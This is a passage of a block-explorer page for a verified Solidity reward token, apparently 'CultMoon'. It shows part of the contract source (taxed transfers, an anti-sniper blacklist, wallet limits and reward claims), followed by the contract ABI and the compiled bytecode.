            if (liquidityBlock > 0) {
                if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
                    isBlacklisted[recipient] = true;
                    snipersRekt ++;
                }
            }

            if (revertSameBlock) {
                require(tradeBlock[recipient] != block.number);
                tradeBlock[recipient] = block.number;
            }

            require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
            require(amount <= _limits.maxBuy, "Amount exceed max buy");
            tax = _taxRates.buyTax;

        } else {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");
            }

            if (amount <= 10**(TOKEN_DECIMALS)) {    //transfer less than 1 token to claim rewardToken
                claimToken(msg.sender, rewardToken, 0);
                return;
            }

            require(recipientBalance + amount <= _limits.maxWallet, "whale protection");
            tax = _taxRates.transferTax;
        }

        if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
            _swapContractToken(swapThreshold,false);

        uint256 taxedAmount;

        if(tax > 0) {
            taxedAmount = amount * tax / 100;
        }

        uint256 receiveAmount = amount - taxedAmount;
        _removeToken(sender,amount);
        _addToken(address(this), taxedAmount);
        _addToken(recipient, receiveAmount);
        emit Transfer(sender, recipient, receiveAmount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");

        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

        bool isContractTransfer = (sender == address(this) || recipient == address(this));
        address _routerAddress = address(_swapRouter);
        bool isLiquidityTransfer = (
        (sender == _pairAddress && recipient == _routerAddress)
        || (recipient == _pairAddress && sender == _routerAddress)
        );

        bool isSell = recipient == _pairAddress || recipient == _routerAddress;
        bool isBuy=sender==_pairAddress|| sender == _routerAddress;

        if (isContractTransfer || isLiquidityTransfer || isExcluded) {
            _feelessTransfer(sender, recipient, amount);

            if (!liquidityAdded)
                checkLiqAdd(recipient);
        }
        else {
            _taxedTransfer(sender, recipient, amount, isBuy, isSell);
        }
    }

    function checkLiqAdd(address receiver) private {
        require(!liquidityAdded, "liquidity already added");
        if (receiver == _pairAddress) {
            liquidityBlock = block.number;
            liquidityAdded = true;
        }
    }

    function claimToken(address addr, address token, uint256 payableAmount) private {
        require(!_isWithdrawing);
        _isWithdrawing = true;
        uint256 amount;
        bool swapSuccess;
        address tokenClaimed = token;

        if (_excludedFromStaking.contains(addr)){
            amount = toBePaidShares[addr];
            toBePaidShares[addr] = 0;
        }
        else {
            uint256 newAmount = newStakeOf(addr);
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            amount = toBePaidShares[addr]+newAmount;
            toBePaidShares[addr] = 0;
        }

        if (amount == 0 && payableAmount == 0){
            _isWithdrawing = false;
            return;
        }

        totalPayouts += amount;
        accountTotalClaimed[addr] += amount;
        amount += payableAmount;

        address[] memory path = new address[](2);
        path[0] = _swapRouter.WETH();
        path[1] = token;

        try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            addr,
            block.timestamp)
        {
            swapSuccess = true;
        }
        catch {
            swapSuccess = false;
        }

        if(!swapSuccess) {
            _sendEth(addr, amount);
            tokenClaimed = _swapRouter.WETH();
        }
        emit ClaimToken(amount, tokenClaimed, addr);
        _isWithdrawing = false;
    }

    function excludeFromStaking(address addr) private {
        require(!_excludedFromStaking.contains(addr));
        _totalShares -= _balances[addr];
        uint256 newStakeMain = newStakeOf(addr);
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;
        toBePaidShares[addr] += newStakeMain;
        _excludedFromStaking.add(addr);
    }

    function includeToStaking(address addr) private {
        require(_excludedFromStaking.contains(addr));
        _totalShares += _balances[addr];
        _excludedFromStaking.remove(addr);
        alreadyPaidShares[addr] = _balances[addr] * rewardShares;
    }

    function subtractStake(address addr, uint256 amount) private {
        if (amount == 0) return;
        require(amount<=getStakeBalance(addr),"Exceeds stake balance");

        if (_excludedFromStaking.contains(addr))
            toBePaidShares[addr] -= amount;

        else{
            uint256 newAmount  =newStakeOf(addr);
            alreadyPaidShares[addr] = rewardShares * _balances[addr];
            toBePaidShares[addr] += newAmount;
            toBePaidShares[addr] -= amount;
        }
    }

    function getStakeBalance(address addr) private view returns (uint256) {
        if (_excludedFromStaking.contains(addr))
            return toBePaidShares[addr];
        return newStakeOf(addr) + toBePaidShares[addr];
    }

    function getTotalShares() private view returns (uint256) {
        return _totalShares - TOTAL_SUPPLY;
    }

    function setUnlockTime(uint256 newUnlockTime) private {
        // require new unlock time to be longer than old one
        require(newUnlockTime > _liquidityUnlockTime);
        _liquidityUnlockTime = newUnlockTime;
    }

    function newStakeOf(address staker) private view returns (uint256) {
        uint256 fullPayout = rewardShares * _balances[staker];
        if (fullPayout < alreadyPaidShares[staker])
            return 0;
        return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"}],"name":"ClaimToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableBlacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableManualSwap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludeFromStaking","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"exclude","type":"bool"}],"name":"ExcludedAccountFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"extendedLockTime","type":"uint256"}],"name":"ExtendLiquidityLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"newDev","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newMarketing","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"RatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newDevWallet","type":"address"}],"name":"UpdateDevWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"UpdateMarketingWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"newThreshold","type":"uint16"}],"name":"UpdateSwapThreshold","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"sellTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"UpdateTaxes","type":"event"},{"inputs":[],"name":"ClaimReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IncludeMeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MAX_TAX","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitRatios","outputs":[{"internalType":"uint16","name":"wallet","type":"uint16"},{"internalType":"uint16","name":"sell","type":"uint16"},{"internalType":"uint16","name":"buy","type":"uint16"},{"internalType":"uint16","name":"divisor","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limits","outputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxBuy","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRates","outputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatios","outputs":[{"internalType":"uint8","name":"dev","type":"uint8"},{"internalType":"uint8","name":"liquidity","type":"uint8"},{"internalType":"uint8","name":"marketing","type":"uint8"},{"internalType":"uint8","name":"rewards","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"accountTotalClaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"excludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlacklistInfo","outputs":[{"internalType":"uint256","name":"_liquidityBlock","type":"uint256"},{"internalType":"uint8","name":"_blacklistBlocks","type":"uint8"},{"internalType":"uint8","name":"_snipersRekt","type":"uint8"},{"internalType":"bool","name":"_blacklistEnabled","type":"bool"},{"internalType":"bool","name":"_revertSameBlock","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getClaimBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityUnlockInSeconds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalUnclaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"lockLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"permille","type":"uint16"},{"internalType":"bool","name":"ignoreLimits","type":"bool"}],"name":"manualContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverMiscToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"releaseLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"sameBlockRevert","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklist","type":"bool"}],"name":"setBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"setStakingExclusionStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"newMaxWalletRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxSellRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxBuyRatio","type":"uint16"},{"internalType":"uint16","name":"newDivisor","type":"uint16"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newDev","type":"uint8"},{"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"internalType":"uint8","name":"newMarketing","type":"uint8"},{"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"updateRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"threshold","type":"uint16"}],"name":"updateSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuy","type":"uint8"},{"internalType":"uint8","name":"newSell","type":"uint8"},{"internalType":"uint8","name":"newTransfer","type":"uint8"}],"name":"updateTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60056080819052600c60a052600060c05260088054610c0562ffffff19909116178155600260e081905261010052610120919091526101408190526009805463ffffffff19166308050202179055739aefa3b45c8cf395a8a88312e6684690bc0acddf610160819052610180819052600a80546001600160a01b031990811683178255600b8054909116909217909155610220604052600e6101a0526101c08290526101e09190915261019061020052600f80546001600160401b03191667019000080008000e179055601380547fffffffffff0000000000000000000000000000000000000000ff000000ff00ff167af0f9d895aca5c8678f706fb8216fa22957685a13000014010001001790556200011c9060129062000b9a565b6200012c906311e1a30062000bab565b601b553480156200013c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35046600103620001b357601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905562000222565b46603803620001e857601680546001600160a01b0319167310ed43c718714eb63d5aa57b78b54704e256024e17905562000222565b466061036200021d57601680546001600160a01b031916739ac64cc6e4415144c455bd8e4837fea55603e5c317905562000222565b600080fd5b601654601580546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a5919062000bcd565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000308573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032e919062000bcd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200037c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a2919062000bcd565b601480546001600160a01b0319166001600160a01b0392909216919091179055620003eb33620003d56012600a62000b9a565b620003e5906311e1a30062000bab565b6200075e565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200041d6012600a62000b9a565b6200042d906311e1a30062000bab565b60405190815260200160405180910390a33060009081526002602090815260408083206015546001600160a01b031684529091529020600019905560095460ff63010000008204811691620100008104821691620004949161010081048216911662000bf8565b620004a0919062000bf8565b620004ac919062000bf8565b6010805460ff191660ff928316908117909155600954620004d592610100909104169062000c20565b6010805460ff929092166101000261ff00199092169190911790556040805160608101909152600f54819061ffff66010000000000008204811691166200051f6012600a62000b9a565b6200052f906311e1a30062000bab565b6200053b919062000bab565b62000547919062000c46565b8152600f5460209091019061ffff6601000000000000820481169162010000900416620005776012600a62000b9a565b62000587906311e1a30062000bab565b62000593919062000bab565b6200059f919062000c46565b8152600f5460209091019061ffff66010000000000008204811691640100000000900416620005d16012600a62000b9a565b620005e1906311e1a30062000bab565b620005ed919062000bab565b620005f9919062000c46565b90528051600c55602080820151600d55604090910151600e556200062b90600490339062001ee76200085e821b17901c565b50600b5462000652906004906001600160a01b03166200085e602090811b62001ee717901c565b50600a5462000679906004906001600160a01b03166200085e602090811b62001ee717901c565b50620006953060046200085e60201b62001ee71790919060201c565b50620006b361dead60046200085e60201b62001ee71790919060201c565b50620006cf3060066200085e60201b62001ee71790919060201c565b50620006ed61dead60066200085e60201b62001ee71790919060201c565b5060155462000714906006906001600160a01b03166200085e602090811b62001ee717901c565b506014546200073b906006906001600160a01b03166200085e602090811b62001ee717901c565b50601554620007589030906001600160a01b03166000196200087e565b62000c9e565b6001600160a01b0382166000908152600160205260408120546200078490839062000c69565b9050620007a18360066200097960201b62001efc1790919060201c565b15620007c7576001600160a01b0390921660009081526001602052604090209190915550565b81601b6000828254620007db919062000c69565b9091555060009050620007ee846200099c565b905081601c5462000800919062000bab565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906200083890849062000c69565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b600062000875836001600160a01b03841662000a35565b90505b92915050565b6001600160a01b038316620008ce5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b60448201526064015b60405180910390fd5b6001600160a01b038216620009185760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401620008c5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0381166000908152600183016020526040812054151562000875565b6001600160a01b038116600090815260016020526040812054601c548291620009c59162000bab565b6001600160a01b038416600090815260176020526040902054909150811015620009f25750600092915050565b6001600160a01b038316600090815260176020526040902054680100000000000000009062000a22908362000c84565b62000a2e919062000c46565b9392505050565b600081815260018301602052604081205462000a7e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915562000878565b50600062000878565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000ade57816000190482111562000ac25762000ac262000a87565b8085161562000ad057918102915b93841c939080029062000aa2565b509250929050565b60008262000af75750600162000878565b8162000b065750600062000878565b816001811462000b1f576002811462000b2a5762000b4a565b600191505062000878565b60ff84111562000b3e5762000b3e62000a87565b50506001821b62000878565b5060208310610133831016604e8410600b841016171562000b6f575081810a62000878565b62000b7b838362000a9d565b806000190482111562000b925762000b9262000a87565b029392505050565b60006200087560ff84168362000ae6565b600081600019048311821515161562000bc85762000bc862000a87565b500290565b60006020828403121562000be057600080fd5b81516001600160a01b038116811462000a2e57600080fd5b600060ff821660ff84168060ff0382111562000c185762000c1862000a87565b019392505050565b600060ff821660ff84168082101562000c3d5762000c3d62000a87565b90039392505050565b60008262000c6457634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111562000c7f5762000c7f62000a87565b500190565b60008282101562000c995762000c9962000a87565b500390565b6140758062000cae6000396000f3fe60806040526004361061036f5760003560e01c806362a9c64e116101c657806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610ad3578063fab91b6814610afa578063fbcdba7614610b62578063fe575a8714610bb557600080fd5b8063dd62ed3e14610a4d578063edb4903714610a93578063f2fde38b14610ab357600080fd5b8063a457c2d7116100d1578063a457c2d714610995578063a9059cbb146109b5578063aa761b1e146109d5578063b3278514146109ea57600080fd5b806395d89b41146109275780639b5cfc9814610955578063a30dc7441461097557600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f25146108d45780638739f8ea146108e9578063893d20e8146109095780638da5cb5b1461090957600080fd5b8063715018a61461088a5780637335307b1461089f57806379372f9a146108bf57600080fd5b80636c3fb932116101a05780636c3fb932146107a65780636d330c10146107e05780636f268a991461080d57806370a082311461085457600080fd5b806362a9c64e146107515780636912897d146107715780636bb1702d1461079157600080fd5b8063313ce567116102a057806351bc3c851161023e578063562f194b11610218578063562f194b146106d15780635d098b38146106f15780635e3ce1ab146107115780636256e2fd1461073157600080fd5b806351bc3c851461067b57806351e287c61461069c578063533b3bfc146106bc57600080fd5b80633efd929a1161027a5780633efd929a146106105780634089b170146106305780634846c14c14610646578063491e91ee1461066657600080fd5b8063313ce567146105ae5780633268cc56146105d057806339509351146105f057600080fd5b806318160ddd1161030d5780631f53ac02116102e75780631f53ac021461053957806323b872dd1461055957806328771ca2146105795780632aea52ab1461058e57600080fd5b806318160ddd146104cc5780631a0e718c146104e15780631b3554271461050157600080fd5b806306fdde031161034957806306fdde031461041e578063095ea7b3146104585780630e15561a14610488578063153b0d1e146104ac57600080fd5b80630445b6671461037b5780630614117a146103b6578063069d955f146103cd57600080fd5b3661037657005b600080fd5b34801561038757600080fd5b5060135461039e90640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b3480156103c257600080fd5b506103cb610be5565b005b3480156103d957600080fd5b506008546103fa9060ff808216916101008104821691620100009091041683565b6040805160ff948516815292841660208401529216918101919091526060016103ad565b34801561042a57600080fd5b5060408051808201909152600881526721bab63a26b7b7b760c11b60208201525b6040516103ad9190613963565b34801561046457600080fd5b506104786104733660046139ab565b610c59565b60405190151581526020016103ad565b34801561049457600080fd5b5061049e601e5481565b6040519081526020016103ad565b3480156104b857600080fd5b506103cb6104c73660046139e5565b610c70565b3480156104d857600080fd5b5061049e610cc0565b3480156104ed57600080fd5b506103cb6104fc366004613a35565b610ce1565b34801561050d57600080fd5b50601454610521906001600160a01b031681565b6040516001600160a01b0390911681526020016103ad565b34801561054557600080fd5b506103cb610554366004613a50565b610e12565b34801561056557600080fd5b50610478610574366004613a6d565b610ecf565b34801561058557600080fd5b5061049e610f66565b34801561059a57600080fd5b506103cb6105a9366004613aae565b610f86565b3480156105ba57600080fd5b5060125b60405160ff90911681526020016103ad565b3480156105dc57600080fd5b50601654610521906001600160a01b031681565b3480156105fc57600080fd5b5061047861060b3660046139ab565b610ff4565b34801561061c57600080fd5b506103cb61062b366004613aae565b61102b565b34801561063c57600080fd5b5061049e601d5481565b34801561065257600080fd5b506103cb610661366004613a50565b6110a0565b34801561067257600080fd5b506103cb611241565b34801561068757600080fd5b5060135461047890600160301b900460ff1681565b3480156106a857600080fd5b506103cb6106b7366004613acb565b611418565b3480156106c857600080fd5b5061049e611493565b3480156106dd57600080fd5b506103cb6106ec3660046139e5565b6114a6565b3480156106fd57600080fd5b506103cb61070c366004613a50565b611528565b34801561071d57600080fd5b506103cb61072c366004613ae4565b6115dd565b34801561073d57600080fd5b506103cb61074c366004613a6d565b6117e1565b34801561075d57600080fd5b506103cb61076c366004613b49565b611825565b34801561077d57600080fd5b506103cb61078c366004613b92565b611959565b34801561079d57600080fd5b506103cb611988565b3480156107b257600080fd5b50600c54600d54600e546107c592919083565b604080519384526020840192909252908201526060016103ad565b3480156107ec57600080fd5b5061049e6107fb366004613a50565b601a6020526000908152604090205481565b34801561081957600080fd5b50600a54600b54610834916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016103ad565b34801561086057600080fd5b5061049e61086f366004613a50565b6001600160a01b031660009081526001602052604090205490565b34801561089657600080fd5b506103cb611a8a565b3480156108ab57600080fd5b506104786108ba366004613a50565b611b0d565b3480156108cb57600080fd5b506103cb611b1a565b3480156108e057600080fd5b506105be601481565b3480156108f557600080fd5b506103cb6109043660046139e5565b611b3a565b34801561091557600080fd5b506000546001600160a01b0316610521565b34801561093357600080fd5b5060408051808201909152600581526443756c744d60d81b602082015261044b565b34801561096157600080fd5b506103cb610970366004613bae565b611bc7565b34801561098157600080fd5b5061049e610990366004613a50565b611cda565b3480156109a157600080fd5b506104786109b03660046139ab565b611ced565b3480156109c157600080fd5b506104786109d03660046139ab565b611d69565b3480156109e157600080fd5b506103cb611d76565b3480156109f657600080fd5b50600954610a209060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff958616815293851660208501529184169183019190915290911660608201526080016103ad565b348015610a5957600080fd5b5061049e610a68366004613bf1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610a9f57600080fd5b506103cb610aae366004613aae565b611dba565b348015610abf57600080fd5b506103cb610ace366004613a50565b611dfd565b348015610adf57600080fd5b5060135461052190600160381b90046001600160a01b031681565b348015610b0657600080fd5b50600f54610b349061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff958616815293851660208501529184169183019190915290911660608201526080016103ad565b348015610b6e57600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a0016103ad565b348015610bc157600080fd5b50610478610bd0366004613a50565b60036020526000908152604090205460ff1681565b33610bf86000546001600160a01b031690565b6001600160a01b031614610c275760405162461bcd60e51b8152600401610c1e90613c1f565b60405180910390fd5b601154421015610c495760405162461bcd60e51b8152600401610c1e90613c4d565b42601155610c573347611f1e565b565b6000610c66338484611fb3565b5060015b92915050565b610c79336120a6565b610c955760405162461bcd60e51b8152600401610c1e90613c77565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000610cce6012600a613da0565b610cdc906311e1a300613daf565b905090565b610cea336120a6565b610d065760405162461bcd60e51b8152600401610c1e90613c77565b60008161ffff1611610d645760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610c1e565b60328161ffff161115610db95760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610c1e565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610e256000546001600160a01b031690565b6001600160a01b031614610e4b5760405162461bcd60e51b8152600401610c1e90613c1f565b600a546001600160a01b0316610e626004826120eb565b50600a80546001600160a01b0319166001600160a01b038416908117909155610e8d90600490611ee7565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37